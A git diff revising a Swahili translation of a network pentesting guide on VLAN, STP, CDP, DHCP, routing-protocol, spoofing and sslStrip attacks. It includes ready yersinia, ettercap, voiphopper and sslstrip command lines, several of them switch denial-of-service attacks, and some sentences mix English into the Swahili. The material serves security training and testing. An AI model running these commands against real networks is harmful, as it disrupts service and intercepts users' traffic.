Ikiwa una **ufikiaji wa swichi ambayo umeunganishwa moja kwa moja**, una uwezo wa **kupita VLAN segmentation** ndani ya mtandao. Rahisi tu **badilisha bandari kuwa katika hali ya trunk** (inayojulikana pia kama trunk), tengeneza interfaces za virtual zenye IDs za VLAN zinazolengwa, na uweke anwani ya IP. Unaweza kujaribu kuomba anwani hiyo kwa njia ya kidinamik (DHCP) au unaweza kuipanga kwa njia ya statiki. Inategemea hali.
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
Katika mazingira fulani, kama vile mitandao ya wireless ya wageni, mipangilio ya **port isolation (inayojulikana pia kama private VLAN)** inatekelezwa ili kuzuia wateja waliounganishwa na pointi za ufikiaji wa wireless kuwasiliana moja kwa moja. Hata hivyo, mbinu imegundulika ambayo inaweza kuzunguka hatua hizi za kutengwa. Mbinu hii inatumia ama ukosefu wa ACL za mtandao au usanidi wao usio sahihi, ikiruhusu pakiti za IP kupitishwa kupitia router ili kufikia mteja mwingine kwenye mtandao huo.
|
||||
Katika mazingira fulani, kama vile mitandao ya wireless ya wageni, mipangilio ya **port isolation (inayojulikana pia kama private VLAN)** inatekelezwa ili kuzuia wateja waliounganishwa na pointi za ufikiaji wa wireless kuwasiliana moja kwa moja. Hata hivyo, mbinu imegundulika ambayo inaweza kuzunguka hatua hizi za kutengwa. Mbinu hii inatumia ama ukosefu wa ACL za mtandao au usanidi wao usio sahihi, ikiruhusu pakiti za IP kupitishwa kupitia router ili kufikia mteja mwingine kwenye mtandao huo huo.
|
||||
|
||||
Shambulio linafanywa kwa kuunda **pakiti inayobeba anwani ya IP ya mteja wa marudio lakini ikiwa na anwani ya MAC ya router**. Hii inasababisha router kupeleka pakiti hiyo kwa makosa kwa mteja wa lengo. Njia hii ni sawa na ile inayotumika katika Shambulio za Double Tagging, ambapo uwezo wa kudhibiti mwenyeji anayepatikana kwa mwathirika unatumika kutekeleza kasoro ya usalama.
|
||||
|
||||
**Hatua Muhimu za Shambulio:**
|
||||
|
||||
1. **Kuunda Pakiti:** Pakiti inaundwa kwa njia maalum ili kujumuisha anwani ya IP ya mteja wa lengo lakini ikiwa na anwani ya MAC ya router.
|
||||
2. **Kutatua Tabia ya Router:** Pakiti iliyoundwa inatumwa hadi kwa router, ambayo, kutokana na usanidi, inarudisha pakiti hiyo kwa mteja wa lengo, ikipita hatua za kutengwa zinazotolewa na mipangilio ya private VLAN.
|
||||
2. **Kutatua Tabia ya Router:** Pakiti iliyoundwa inatumwa kwa router, ambayo, kutokana na usanidi, inarudisha pakiti hiyo kwa mteja wa lengo, ikipita hatua za kutengwa zinazotolewa na mipangilio ya private VLAN.
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
@ -367,15 +367,15 @@ VTP (VLAN Trunking Protocol) inakusanya usimamizi wa VLAN. Inatumia nambari za m
|
||||
|
||||
- **VTP Server:** Inasimamia VLANs—inaunda, inafuta, inabadilisha. Inatangaza matangazo ya VTP kwa wanachama wa eneo.
|
||||
- **VTP Client:** Inapokea matangazo ya VTP ili kuunganisha hifadhidata yake ya VLAN. Jukumu hili haliruhusiwi kufanya mabadiliko ya usanidi wa VLAN za ndani.
|
||||
- **VTP Transparent:** Hailihusishi katika masasisho ya VTP lakini inapeleka matangazo ya VTP. Haithiriwi na shambulio za VTP, inashikilia nambari ya marekebisho isiyobadilika ya sifuri.
|
||||
- **VTP Transparent:** Hailihusishi katika masasisho ya VTP lakini inapeleka matangazo ya VTP. Haijaathiriwa na shambulio za VTP, inashikilia nambari ya marekebisho isiyobadilika ya sifuri.
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
- **Summary Advertisement:** Inatangazwa na VTP server kila sekunde 300, ikibeba taarifa muhimu za eneo.
|
||||
- **Subset Advertisement:** Inatumwa kufuatia mabadiliko ya usanidi wa VLAN.
|
||||
- **Advertisement Request:** Inatolewa na VTP client kuomba Summary Advertisement, kawaida kama jibu la kugundua nambari ya marekebisho ya usanidi iliyo juu.
|
||||
- **Advertisement Request:** Inatolewa na VTP client kuomba Summary Advertisement, kawaida kwa kujibu kugundua nambari ya marekebisho ya usanidi iliyo juu.
|
||||
|
||||
Uhalifu wa VTP unaweza kutekelezwa pekee kupitia bandari za trunk kwani matangazo ya VTP yanazunguka kupitia hizo pekee. Baada ya hali za shambulio za DTP, huenda zikageukia VTP. Zana kama Yersinia zinaweza kusaidia shambulio za VTP, zikilenga kufuta hifadhidata ya VLAN, na hivyo kuharibu mtandao.
|
||||
Uhalifu wa VTP unaweza kutumika pekee kupitia bandari za trunk kwani matangazo ya VTP yanazunguka kupitia hizo pekee. Baada ya hali za shambulio la DTP, huenda zikageukia VTP. Zana kama Yersinia zinaweza kusaidia shambulio za VTP, zikilenga kufuta hifadhidata ya VLAN, na hivyo kuharibu mtandao.
|
||||
|
||||
Kumbuka: Majadiliano haya yanahusiana na toleo la VTP 1 (VTPv1).
|
||||
````bash
|
||||
@ -389,15 +389,15 @@ Katika hali ya picha ya Yersinia, chagua chaguo la kufuta VTP vlans zote ili kuf
|
||||
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
Kutuma BPDUs nyingi za TCP (Notification ya Mabadiliko ya Topolojia) au Conf (BPDUs ambazo zinatumwa wakati topolojia inaundwa) swichi zinachanganyikiwa na kuacha kufanya kazi ipasavyo.
|
||||
Kutuma BPDUs nyingi za TCP (Notification ya Mabadiliko ya Topolojia) au Conf (BPDUs zinazotumwa wakati topolojia inaundwa) swichi zinachanganyikiwa na kuacha kufanya kazi ipasavyo.
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
#Use -M to disable MAC spoofing
|
||||
```
|
||||
#### **STP TCP Attack**
|
||||
#### **SHAMBULIO LA STP TCP**
|
||||
|
||||
Wakati TCP inatumwa, jedwali la CAM la swichi litafutwa ndani ya sekunde 15. Kisha, ikiwa unatumia pakiti hizi kwa kuendelea, jedwali la CAM litaanzishwa upya mara kwa mara (au kila sekunde 15) na wakati linapoanzishwa upya, swichi inafanya kazi kama hub.
|
||||
Wakati TCP inatumwa, jedwali la CAM la swichi litafutwa ndani ya sekunde 15. Kisha, ikiwa unatumia pakiti za aina hii bila kukoma, jedwali la CAM litaanzishwa upya bila kukoma (au kila sekunde 15) na wakati linapoanzishwa upya, swichi inafanya kazi kama hub.
|
||||
```bash
|
||||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
@ -419,11 +419,11 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack
|
||||
|
||||
CISCO Discovery Protocol (CDP) ni muhimu kwa mawasiliano kati ya vifaa vya CISCO, ikiruhusu **kuvitambua na kushiriki maelezo ya usanidi**.
|
||||
|
||||
#### Kukusanya Data kwa Njia ya Pasifiki <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
#### Kukusanya Data kwa Njia ya Passiv <a href="#id-0e0f" id="id-0e0f"></a>
|
||||
|
||||
CDP imewekwa ili kutangaza habari kupitia bandari zote, ambayo inaweza kusababisha hatari ya usalama. Mshambuliaji, anapounganisha kwenye bandari ya swichi, anaweza kutumia waandishi wa mtandao kama **Wireshark**, **tcpdump**, au **Yersinia**. Kitendo hiki kinaweza kufichua data nyeti kuhusu kifaa cha mtandao, ikiwa ni pamoja na mfano wake na toleo la Cisco IOS linalotumia. Mshambuliaji anaweza kisha kulenga udhaifu maalum katika toleo lililotambuliwa la Cisco IOS.
|
||||
CDP imewekwa ili kutangaza habari kupitia bandari zote, ambayo inaweza kusababisha hatari ya usalama. Mshambuliaji, anapounganisha kwenye bandari ya swichi, anaweza kutumia waandishi wa mtandao kama **Wireshark**, **tcpdump**, au **Yersinia**. Kitendo hiki kinaweza kufichua data nyeti kuhusu kifaa cha mtandao, ikiwa ni pamoja na mfano wake na toleo la Cisco IOS linalotumika. Mshambuliaji anaweza kisha kulenga udhaifu maalum katika toleo lililotambuliwa la Cisco IOS.
|
||||
|
||||
#### Kusababisha Mafuriko ya Jedwali la CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
#### Kusababisha Mvua ya Meza ya CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
Njia yenye nguvu zaidi inahusisha kuzindua shambulio la Denial of Service (DoS) kwa kujaa kumbukumbu ya swichi, akijifanya kuwa vifaa halali vya CISCO. Hapa chini kuna mfuatano wa amri za kuanzisha shambulio kama hilo kwa kutumia Yersinia, chombo cha mtandao kilichoundwa kwa ajili ya majaribio:
|
||||
```bash
|
||||
@ -431,14 +431,14 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
Wakati wa shambulio hili, CPU ya switch na jedwali la majirani wa CDP yanakabiliwa na mzigo mzito, na kusababisha kile kinachojulikana kama **“kukwama kwa mtandao”** kutokana na matumizi makubwa ya rasilimali.
|
||||
Wakati wa shambulio hili, CPU ya switch na jedwali la majirani wa CDP yanakabiliwa na mzigo mzito, na kusababisha kile kinachojulikana kama **“kufeli kwa mtandao”** kutokana na matumizi makubwa ya rasilimali.
|
||||
|
||||
#### CDP Impersonation Attack
|
||||
```bash
|
||||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
```
|
||||
You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.
|
||||
Unaweza pia kutumia [**scapy**](https://github.com/secdev/scapy/). Hakikisha umeisakinisha na pakiti ya `scapy/contrib`.
|
||||
|
||||
### Mashambulizi ya VoIP na Zana ya VoIP Hopper
|
||||
|
||||
@ -449,7 +449,7 @@ Zana [**voiphopper**](http://voiphopper.sourceforge.net) imeundwa kuiga simu ya
|
||||
**VoIP Hopper** inatoa njia tatu za Protokali ya Ugunduzi wa Cisco (CDP):
|
||||
|
||||
1. **Sniff Mode** (`-c 0`): Inachambua pakiti za mtandao ili kubaini ID ya VLAN.
|
||||
2. **Spoof Mode** (`-c 1`): Inazalisha pakiti maalum zinazofanana na zile za kifaa halisi cha VoIP.
|
||||
2. **Spoof Mode** (`-c 1`): Inazalisha pakiti za kawaida zinazofanana na zile za kifaa halisi cha VoIP.
|
||||
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Inatuma pakiti zinazofanana na zile za mfano maalum wa simu ya IP ya Cisco.
|
||||
|
||||
Njia inayopendekezwa kwa kasi ni ya tatu. Inahitaji kufafanua:
|
||||
@ -461,15 +461,15 @@ Katika mazingira ya kampuni, ili kuiga kifaa kilichopo cha VoIP, mtu anaweza:
|
||||
|
||||
- Kuangalia lebo ya MAC kwenye simu.
|
||||
- Kupitia mipangilio ya onyesho la simu ili kuona taarifa za mfano.
|
||||
- Kuunganisha kifaa cha VoIP kwenye laptop na kuangalia maombi ya CDP kwa kutumia Wireshark.
|
||||
- Kuunganisha kifaa cha VoIP kwenye kompyuta ya mkononi na kuangalia maombi ya CDP kwa kutumia Wireshark.
|
||||
|
||||
Mfano wa amri ya kutekeleza zana katika njia ya tatu ingekuwa:
|
||||
```bash
|
||||
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
|
||||
```
|
||||
### DHCP Mashambulizi
|
||||
### DHCP Attacks
|
||||
|
||||
#### Uhesabu
|
||||
#### Enumeration
|
||||
```bash
|
||||
nmap --script broadcast-dhcp-discover
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
|
||||
@ -489,7 +489,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
**Aina mbili za DoS** zinaweza kufanywa dhidi ya seva za DHCP. Aina ya kwanza inajumuisha **kuiga wenyeji wa uwongo wa kutosha kutumia anwani zote za IP zinazowezekana**.\
|
||||
**Aina mbili za DoS** zinaweza kufanywa dhidi ya seva za DHCP. Aina ya kwanza inajumuisha **kuiga wenyeji wa uwongo wa kutosha ili kutumia anwani zote za IP zinazowezekana**.\
|
||||
Shambulio hili litafanya kazi tu ikiwa unaweza kuona majibu ya seva ya DHCP na kukamilisha itifaki (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Kwa mfano, hii **haiwezekani katika mitandao ya Wifi**.
|
||||
|
||||
Njia nyingine ya kufanya DoS ya DHCP ni kutuma **pakiti ya DHCP-RELEASE ikitumia kama msimbo kila anwani ya IP inayowezekana**. Kisha, seva itafikiria kwamba kila mtu amemaliza kutumia IP hiyo.
|
||||
@ -503,7 +503,7 @@ Unaweza kutumia mashambulizi ya DoS yaliyotajwa kulazimisha wateja kupata leseni
|
||||
|
||||
#### Weka thamani mbaya
|
||||
|
||||
Seva ya DHCP isiyo halali inaweza kuanzishwa kwa kutumia skripti ya DHCP iliyoko katika `/usr/share/responder/DHCP.py`. Hii ni muhimu kwa mashambulizi ya mtandao, kama vile kukamata trafiki ya HTTP na akidi, kwa kuhamasisha trafiki kwa seva mbaya. Hata hivyo, kuweka lango la uasi ni kidogo sana kwa sababu inaruhusu tu kukamata trafiki inayotoka kutoka kwa mteja, ikikosa majibu kutoka kwa lango halisi. Badala yake, kuanzisha seva ya DNS isiyo halali au WPAD inashauriwa kwa shambulio lenye ufanisi zaidi.
|
||||
Seva ya DHCP isiyo halali inaweza kuanzishwa kwa kutumia skripti ya DHCP iliyoko katika `/usr/share/responder/DHCP.py`. Hii ni muhimu kwa mashambulizi ya mtandao, kama vile kukamata trafiki ya HTTP na akidi, kwa kuhamasisha trafiki kwa seva mbaya. Hata hivyo, kuweka lango la uasi ni kidogo sana kwa sababu inaruhusu tu kukamata trafiki inayotoka kwa mteja, ikikosa majibu kutoka kwa lango halisi. Badala yake, kuanzisha seva ya DNS isiyo halali au WPAD inashauriwa kwa shambulio lenye ufanisi zaidi.
|
||||
|
||||
Hapa chini kuna chaguzi za amri za kuunda seva ya DHCP isiyo halali:
|
||||
|
||||
@ -539,9 +539,9 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (First Hop Redundancy Protocol) ni darasa la protokali za mtandao zilizoundwa ili **kuunda mfumo wa upitishaji wa ziada wa moto**. Kwa FHRP, route za kimwili zinaweza kuunganishwa kuwa kifaa kimoja cha mantiki, ambacho kinapanua uvumilivu wa makosa na kusaidia kugawa mzigo.
|
||||
**FHRP** (First Hop Redundancy Protocol) ni darasa la protokali za mtandao zilizoundwa ili **kuunda mfumo wa routing wa ziada wa moto**. Kwa FHRP, route za kimwili zinaweza kuunganishwa kuwa kifaa kimoja cha kimantiki, ambacho kinapanua uvumilivu wa makosa na kusaidia kugawa mzigo.
|
||||
|
||||
**Injinia wa Cisco Systems wameendeleza protokali mbili za FHRP, GLBP na HSRP.**
|
||||
**Injinia wa Cisco Systems wameunda protokali mbili za FHRP, GLBP na HSRP.**
|
||||
|
||||
{{#ref}}
|
||||
glbp-and-hsrp-attacks.md
|
||||
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Toleo tatu la Protokali ya Taarifa za Upitishaji (RIP) linajulikana kuwepo: RIP, RIPv2, na RIPng. Datagrams zinatumwa kwa wenzake kupitia bandari 520 kwa kutumia UDP na RIP na RIPv2, wakati datagrams zinatangazwa kwa bandari ya UDP 521 kupitia multicast ya IPv6 na RIPng. Msaada wa uthibitisho wa MD5 ulianzishwa na RIPv2. Kwa upande mwingine, uthibitisho wa asili haujajumuishwa na RIPng; badala yake, kutegemea kunafanywa kwenye vichwa vya IPsec AH na ESP ndani ya IPv6.
|
||||
Toleo tatu la Protokali ya Habari za Routing (RIP) linajulikana kuwepo: RIP, RIPv2, na RIPng. Datagrams zinatumwa kwa wenzake kupitia bandari 520 kwa kutumia UDP na RIP na RIPv2, wakati datagrams zinatangazwa kwa bandari ya UDP 521 kupitia multicast ya IPv6 na RIPng. Msaada wa uthibitisho wa MD5 ulianzishwa na RIPv2. Kwa upande mwingine, uthibitisho wa asili haujajumuishwa na RIPng; badala yake, kutegemea kunafanywa kwenye vichwa vya IPsec AH na ESP ndani ya IPv6.
|
||||
|
||||
- **RIP na RIPv2:** Mawasiliano yanafanywa kupitia datagrams za UDP kwenye bandari 520.
|
||||
- **RIPng:** Inatumia bandari ya UDP 521 kwa kutangaza datagrams kupitia multicast ya IPv6.
|
||||
@ -558,21 +558,21 @@ Kumbuka kwamba RIPv2 inasaidia uthibitisho wa MD5 wakati RIPng haina uthibitisho
|
||||
|
||||
### EIGRP Attacks
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** ni protokali ya upitishaji wa dynamic. **Ni protokali ya distance-vector.** Ikiwa hakuna **uthibitisho** na usanidi wa interfaces za passiv, **mshambuliaji** anaweza kuingilia kati upitishaji wa EIGRP na kusababisha **kuharibu meza za upitishaji**. Zaidi ya hayo, mtandao wa EIGRP (kwa maneno mengine, mfumo huru) **ni tambarare na haina mgawanyiko katika maeneo yoyote**. Ikiwa **mshambuliaji anaingiza njia**, kuna uwezekano kwamba njia hii itasambaa katika mfumo huru wa EIGRP.
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** ni protokali ya routing ya dynamic. **Ni protokali ya distance-vector.** Ikiwa hakuna **uthibitisho** na usanidi wa interfaces za passiv, **mshambuliaji** anaweza kuingilia katika routing ya EIGRP na kusababisha **kuharibu meza za routing**. Zaidi ya hayo, mtandao wa EIGRP (kwa maneno mengine, mfumo huru) **ni tambarare na haina segmentation katika maeneo yoyote**. Ikiwa **mshambuliaji anaingiza njia**, kuna uwezekano kwamba njia hii itasambaa katika mfumo huru wa EIGRP.
|
||||
|
||||
Kushambulia mfumo wa EIGRP kunahitaji **kuanzisha jirani na route halali ya EIGRP**, ambayo inafungua uwezekano mwingi, kutoka kwa upelelezi wa msingi hadi sindano mbalimbali.
|
||||
Kushambulia mfumo wa EIGRP kunahitaji **kuanzisha jirani na router halali ya EIGRP**, ambayo inafungua uwezekano mwingi, kutoka kwa upelelezi wa msingi hadi sindano mbalimbali.
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) inakuwezesha kutekeleza **router ya virtual inayosaidia BGP, OSPF, EIGRP, RIP na protokali nyingine.** Unachohitaji kufanya ni kuikamilisha kwenye mfumo wa mshambuliaji wako na unaweza kuonekana kama router halali katika eneo la upitishaji.
|
||||
[**FRRouting**](https://frrouting.org/) inakuwezesha kutekeleza **router ya virtual inayosaidia BGP, OSPF, EIGRP, RIP na protokali nyingine.** Unachohitaji kufanya ni kuisambaza kwenye mfumo wa mshambuliaji wako na unaweza kujiweka kama router halali katika eneo la routing.
|
||||
|
||||
{{#ref}}
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) ina uwezo wa kukamata matangazo ya EIGRP (Enhanced Interior Gateway Routing Protocol). Pia inaruhusu sindano ya pakiti, ambayo inaweza kutumika kubadilisha usanidi wa upitishaji.
|
||||
[**Coly**](https://code.google.com/p/coly/) ina uwezo wa kukamata matangazo ya EIGRP (Enhanced Interior Gateway Routing Protocol). Pia inaruhusu sindano ya pakiti, ambayo inaweza kutumika kubadilisha usanidi wa routing.
|
||||
|
||||
### OSPF
|
||||
|
||||
Katika protokali ya Open Shortest Path First (OSPF) **uthibitisho wa MD5 mara nyingi unatumika kuhakikisha mawasiliano salama kati ya route**. Hata hivyo, kipimo hiki cha usalama kinaweza kuathiriwa kwa kutumia zana kama Loki na John the Ripper. Zana hizi zina uwezo wa kukamata na kuvunja hash za MD5, zikifunua funguo za uthibitisho. Mara funguo hii inapopatikana, inaweza kutumika kuingiza taarifa mpya za upitishaji. Ili kusanidi vigezo vya njia na kuanzisha funguo zilizovunjwa, tabo za _Injection_ na _Connection_ zinatumika, mtawalia.
|
||||
Katika protokali ya Open Shortest Path First (OSPF) **uthibitisho wa MD5 unatumika mara nyingi ili kuhakikisha mawasiliano salama kati ya route**rs. Hata hivyo, kipimo hiki cha usalama kinaweza kuathiriwa kwa kutumia zana kama Loki na John the Ripper. Zana hizi zina uwezo wa kukamata na kuvunja hash za MD5, zikifunua funguo za uthibitisho. Mara baada ya funguo hii kupatikana, inaweza kutumika kuingiza habari mpya za routing. Ili kusanidi vigezo vya njia na kuanzisha funguo zilizovunjwa, tabo za _Injection_ na _Connection_ zinatumika, mtawalia.
|
||||
|
||||
- **Kukamata na Kuvunja Hash za MD5:** Zana kama Loki na John the Ripper zinatumika kwa kusudi hili.
|
||||
- **Kusanidi Vigezo vya Njia:** Hii inafanywa kupitia tabo ya _Injection_.
|
||||
@ -580,7 +580,7 @@ Katika protokali ya Open Shortest Path First (OSPF) **uthibitisho wa MD5 mara ny
|
||||
|
||||
### Other Generic Tools & Sources
|
||||
|
||||
- [**Above**](https://github.com/c4s73r/Above): Zana ya kuchanganua trafiki ya mtandao na kupata udhaifu
|
||||
- [**Above**](https://github.com/c4s73r/Above): Zana ya kuchanganua trafiki ya mtandao na kutafuta udhaifu
|
||||
- Unaweza kupata **maelezo zaidi kuhusu mashambulizi ya mtandao** [**hapa**](https://github.com/Sab0tag3d/MITM-cheatsheet).
|
||||
|
||||
## **Spoofing**
|
||||
@ -596,7 +596,7 @@ Angalia [sehemu ya awali](#arp-spoofing).
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
ICMP Redirect inajumuisha kutuma pakiti ya ICMP aina 1 msimbo 5 ambayo inaonyesha kwamba mshambuliaji ndiye njia bora ya kufikia IP. Kisha, wakati mwathirika anataka kuwasiliana na IP, atatuma pakiti kupitia kwa mshambuliaji.
|
||||
ICMP Redirect inajumuisha kutuma pakiti ya ICMP aina 1 msimbo 5 ambayo inaonyesha kwamba mshambuliaji ndiye njia bora ya kufikia IP. Kisha, wakati mwathirika anataka kuwasiliana na IP, atatuma pakiti kupitia mshambuliaji.
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
@ -635,20 +635,20 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Kwa ajili ya kutatua mwenyeji wa ndani wakati utafutaji wa DNS haufanikiwi, mifumo ya Microsoft inategemea **Link-Local Multicast Name Resolution (LLMNR)** na **NetBIOS Name Service (NBT-NS)**. Vivyo hivyo, **Apple Bonjour** na **Linux zero-configuration** hutumia **Multicast DNS (mDNS)** kwa ajili ya kugundua mifumo ndani ya mtandao. Kutokana na asili isiyo na uthibitisho ya protokali hizi na uendeshaji wao juu ya UDP, kutangaza ujumbe, zinaweza kutumiwa na washambuliaji wanaolenga kuelekeza watumiaji kwenye huduma mbaya.
|
||||
Kwa ajili ya kutatua mwenyeji wa ndani wakati utafutaji wa DNS haufanikiwi, mifumo ya Microsoft inategemea **Link-Local Multicast Name Resolution (LLMNR)** na **NetBIOS Name Service (NBT-NS)**. Vivyo hivyo, **Apple Bonjour** na utekelezaji wa **Linux zero-configuration** hutumia **Multicast DNS (mDNS)** kwa ajili ya kugundua mifumo ndani ya mtandao. Kutokana na asili isiyo na uthibitisho ya protokali hizi na uendeshaji wao juu ya UDP, kutangaza ujumbe, zinaweza kutumiwa na washambuliaji wanaolenga kuelekeza watumiaji kwenye huduma mbaya.
|
||||
|
||||
Unaweza kujifanya kuwa huduma zinazotafutwa na wenyeji kwa kutumia Responder kutuma majibu ya uongo.\
|
||||
Soma hapa maelezo zaidi kuhusu [jinsi ya Kujifanya kuwa huduma na Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Unaweza kujifanya kuwa huduma zinazotafutwa na wenyeji kwa kutumia Responder kutuma majibu ya uwongo.\
|
||||
Soma hapa maelezo zaidi kuhusu [jinsi ya Kujifanya huduma na Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Vivinjari kwa kawaida hutumia **Web Proxy Auto-Discovery (WPAD) protocol ili kupata mipangilio ya proxy kiotomatiki**. Hii inahusisha kupata maelezo ya usanidi kutoka kwa seva, hasa kupitia URL kama "http://wpad.example.org/wpad.dat". Kugunduliwa kwa seva hii na wateja kunaweza kutokea kupitia mitindo mbalimbali:
|
||||
Vivinjari kwa kawaida hutumia **Web Proxy Auto-Discovery (WPAD) protocol ili kupata mipangilio ya proxy kiotomatiki**. Hii inahusisha kupata maelezo ya usanidi kutoka kwa seva, hasa kupitia URL kama "http://wpad.example.org/wpad.dat". Ugunduzi wa seva hii na wateja unaweza kutokea kupitia mitindo mbalimbali:
|
||||
|
||||
- Kupitia **DHCP**, ambapo kugundua kunarahisishwa kwa kutumia nambari maalum ya kuingia 252.
|
||||
- Kwa **DNS**, ambayo inahusisha kutafuta jina la mwenyeji lililo na alama _wpad_ ndani ya eneo la ndani.
|
||||
- Kupitia **DHCP**, ambapo ugunduzi unarahisishwa kwa kutumia nambari maalum ya kuingia 252.
|
||||
- Kwa **DNS**, ambayo inahusisha kutafuta jina la mwenyeji lililoandikwa _wpad_ ndani ya eneo la ndani.
|
||||
- Kupitia **Microsoft LLMNR na NBT-NS**, ambazo ni mitindo ya akiba inayotumika katika hali ambapo utafutaji wa DNS haufanikiwi.
|
||||
|
||||
Chombo cha Responder kinatumia faida ya protokali hii kwa kutenda kama **seva mbaya ya WPAD**. Kinatumia DHCP, DNS, LLMNR, na NBT-NS kuwapotosha wateja kuungana nacho. Ili kuingia kwa undani zaidi kuhusu jinsi huduma zinaweza kujifananisha kwa kutumia Responder [angalia hii](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Chombo cha Responder kinatumia faida ya protokali hii kwa kutenda kama **seva mbaya ya WPAD**. Kinatumia DHCP, DNS, LLMNR, na NBT-NS kuwapotosha wateja kuungana nayo. Ili kuingia kwa undani zaidi jinsi huduma zinaweza kujifananisha kwa kutumia Responder [angalia hii](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
@ -684,7 +684,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
Kimsingi, kile ambacho shambulio hili linafanya ni, ikiwa **mtumiaji** anajaribu **kufikia** ukurasa wa **HTTP** ambao unarejelea toleo la **HTTPS**. **sslStrip** itakuwa na **kiunganishi cha HTTP na** **mteja** na **kiunganishi cha HTTPS na** **server** ili iweze **kunusa** kiunganishi hicho kwa **maandishi wazi**.
|
||||
Kimsingi kile shambulizi hili linafanya ni, endapo **mtumiaji** atajaribu **kufikia** ukurasa wa **HTTP** ambao un **elekeza** kwenye toleo la **HTTPS**. **sslStrip** it **maintain** muunganisho wa **HTTP** na **mteja** na muunganisho wa **HTTPS** na **server** ili iweze **sniff** muunganisho katika **plain text**.
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -697,18 +697,18 @@ More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Bla
|
||||
|
||||
### sslStrip+ na dns2proxy kwa ajili ya kupita HSTS
|
||||
|
||||
**tofauti** kati ya **sslStrip+ na dns2proxy** dhidi ya **sslStrip** ni kwamba wat **elekeza** kwa mfano _**www.facebook.com**_ **kwenda** _**wwww.facebook.com**_ (zingatia **ziada** "**w**") na wataweka **anwani ya kikoa hiki kama IP ya mshambuliaji**. Kwa njia hii, **mteja** at **unganishwa** na _**wwww.facebook.com**_ **(mshambuliaji)** lakini nyuma ya pazia **sslstrip+** it **hifadhi** **unganisho halisi** kupitia https na **www.facebook.com**.
|
||||
**tofauti** kati ya **sslStrip+ na dns2proxy** dhidi ya **sslStrip** ni kwamba wat **redirect** kwa mfano _**www.facebook.com**_ **kwenda** _**wwww.facebook.com**_ (angalia **ziada** "**w**") na wataweka **anwani ya kikoa hiki kama IP ya mshambuliaji**. Kwa njia hii, **mteja** at **connect** na _**wwww.facebook.com**_ **(mshambuliaji)** lakini nyuma ya pazia **sslstrip+** it **maintain** **muunganisho halisi** kupitia https na **www.facebook.com**.
|
||||
|
||||
**lengo** la mbinu hii ni **kuepuka HSTS** kwa sababu _**wwww**.facebook.com_ **haita**hifadhiwa katika **cache** ya kivinjari, hivyo kivinjari kitawekwa kwenye udanganyifu kufanya **uthibitishaji wa facebook katika HTTP**.\
|
||||
Zingatia kwamba ili kufanya shambulio hili, mwathirika lazima ajaribu kufikia kwanza [http://www.faceook.com](http://www.faceook.com) na sio https. Hii inaweza kufanywa kwa kubadilisha viungo ndani ya ukurasa wa http.
|
||||
**lengo** la mbinu hii ni **kuepuka HSTS** kwa sababu _**wwww**.facebook.com_ **hata** itahifadhiwa katika **cache** ya kivinjari, hivyo kivinjari kitadanganywa kufanya **uthibitishaji wa facebook katika HTTP**.\
|
||||
